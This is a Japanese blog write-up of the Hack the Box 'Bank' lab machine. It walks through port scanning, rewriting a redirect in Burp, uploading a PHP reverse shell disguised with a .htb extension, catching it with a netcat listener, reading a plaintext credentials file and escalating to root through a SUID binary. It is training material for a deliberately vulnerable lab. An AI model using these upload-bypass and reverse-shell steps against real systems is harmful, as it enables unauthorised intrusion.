This page looks best with JavaScript enabled

【Hack the Box write-up】Bank

 ·   ·  ☕ 2 min read  ·  ✍️ さんぽし

はじめに

筆者は Hack the Box 初心者です。
何か訂正や補足、アドバイスなどありましたら、コメントか Twitter までお願いします。
さんぽし(@sanpo_shiho) | Twitter

cheat sheet

以下で cheat sheet としてツールの使い方などをまとめています。参考にしてください。
github | sanposhiho/MY_CHEAT_SHEET

machineについて

難易度は easy です。
スクリーンショット 2020-05-28 9.02.07.png

nmap

kali@kali:~$ nmap -sV -sC 10.10.10.29
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-25 22:14 EDT
Nmap scan report for 10.10.10.29
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.66 seconds

gobuster

http://10.10.10.29 を直接開くと apache の default ページが出てきます。apache 側で hostname の制限をしている可能性があるので hostname を bank.htb と推測し、/etc/hostsに 10.10.10.29 を bank.htb として登録します。すると以下のようにアクセスが可能になります。

スクリーンショット 2020-05-28 21.10.58.png

kali@kali:~$ gobuster dir -u http://bank.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -t 40 -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://bank.htb
[+] Threads:        40
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/05/26 23:56:15 Starting gobuster
===============================================================
/login.php (Status: 200)
/support.php (Status: 302)
/uploads (Status: 301)
/index.php (Status: 302)
/assets (Status: 301)
/logout.php (Status: 302)
/inc (Status: 301)
/server-status (Status: 403)
/balance-transfer (Status: 301)
===============================================================
2020/05/27 01:16:28 Finished
===============================================================

/index.php, /support.phpにアクセス

login.php にリダイレクトされます

Burpで何が起きてるかみてみる

スクリーンショット 2020-05-28 7.20.24.png

responce は帰ってきてて、そのあとに redirect がかかってるっぽい…?

Burpで302Foundをreplace

https://github.com/sanposhiho/MY_CHEAT_SHEET/blob/master/BurpSuite.md#response%E3%82%92%E6%9B%B8%E3%81%8D%E6%8F%9B%E3%81%88%E3%82%8B

スクリーンショット 2020-05-28 9.08.22.png

こんな感じで設定します。

/support.php

このように redirect 前のページを見れます。

スクリーンショット 2020-05-28 8.18.16.png

sourceを確認

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

怪しい

php-reverse-shell

https://github.com/sanposhiho/MY_CHEAT_SHEET/blob/master/reverse_shell.md#php

kali@kali:~$ vim php-reverse-shell.php  
kali@kali:~$ mv php-reverse-shell.php php-reverse-shell.htb

.htb に変えて upload します

スクリーンショット 2020-05-28 8.39.29.png

Click here を click するとリバースシェルが取れます

kali@kali:~$ nc -lnvp 1212
listening on [any] 1212 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.10.29] 49704
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 02:43:10 up 1 day, 21:27,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

user.txt が取れます

探索

/var/www/bank/bankreports.txt

$ cat bankreports.txt
cat bankreports.txt
+=================+
| HTB Bank Report |
+=================+

===Users===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: !##HTBB4nkP4ssw0rd!##
CreditCards: 2
Transactions: 8
Balance: 1.337$
===Users===$

これで ssh か!と思ったんですけどできませんでした。

SUIDなファイルを探す

https://github.com/sanposhiho/MY_CHEAT_SHEET/blob/master/Linux/linux_commands.md#suid%E3%81%AA%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%92%E6%8E%A2%E3%81%99

$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/traceroute6.iputils
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/mtr
/usr/sbin/uuidd
/usr/sbin/pppd
/bin/ping
/bin/ping6
/bin/su
/bin/fusermount
/bin/mount
/bin/umount

/var/htb/bin/emergencyってなんでしょうか

唐突のPE

/var/htb/bin/emergencyがどんな動作をするのかみてみましょう

$ /var/htb/bin/emergency
/var/htb/bin/emergency
# 

あれ…?

# whoami
whoami
root

なんか唐突に root になっちゃいました

終わりに

redirect がかかる index.php が Burp でよくみてみると response を返している
→Burp で responce を書き換え
の部分に気づくのが一番時間がかかりました(丸一日くらい手も足も出なくて唸ってた)

Share on

さんぽし
WRITTEN BY
さんぽし
Web Developer /w Elixir, Go